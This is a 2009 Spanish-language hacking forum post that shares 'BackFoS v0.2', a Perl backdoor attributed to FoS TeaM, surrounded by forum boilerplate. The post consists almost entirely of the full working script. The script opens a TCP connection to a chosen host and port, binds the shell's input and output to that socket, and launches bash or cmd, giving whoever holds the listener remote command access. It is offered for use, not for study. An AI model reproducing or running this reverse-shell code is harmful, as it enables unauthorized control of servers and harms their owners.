BackFoS v0.2 [FOS TEAM BACKDOOR] - Hacketico En Accion

AutorTema: BackFoS v0.2 [FOS TEAM BACKDOOR]  (Leído 419 veces)

karol.ADN

  • Moderador Global
  • User Heroe

  • Desconectado
  • ****

  • 1744
  • Karma:
    +81/-0
  • Sexo
    Femenino

    Femenino
BackFoS v0.2 [FOS TEAM BACKDOOR]
« : 27 de marzo de 2009, 07:16:25 pm »
Código: Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa
#!/usr/bin/perl
 
########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########
#                                                         #
#     BackFoS is a Backdoor in PERL for  all  Servers     #
#            c0dex by Vengador de las Sombras             #
#                                                         #
#          USAGE: Perl BackFoS.pl <HOST> <PORT> <OS>      #
#     You need have listen nc, cryptcar, putty or other   #
#      program on <PORT> to connect with the backdoor     #
#                                                         #
#=========================================================#
#                                                         #
#  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #       
# Lëssiëm Táralóm, Phonix & ArgeniversoHack & #RE members #
#      Especial Thanx To Plaga, for the help =)           #
#                                                         #
#################### (c)FoS TeaM 2008 #####################
 
use IO::Socket;
 
print q(
 
=================================================
   BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 3){
print "\nUsage: BackFoS.pl <HOST> <PORT> <OS>";
exit(0);
}
 
$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;
 
print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
                                                     || die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
                                                     || die "[-] Cannot Connect to $host";
 
print "\n[+] Connected!";
 
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
 
print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}
 
if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}


Hey!!! Sorry pero TU NO Estás Autorizado para ver los Links. Regístrate o Ingresa

Tags:
 
Compartir este Tema...
En un Foro
(BBCode)
En un Sitio Web/Blog/Twitter/Facebook
(HTML)





Powered By Satel Group® Web Hosting Diseño Publicidad y Servicio Tecnico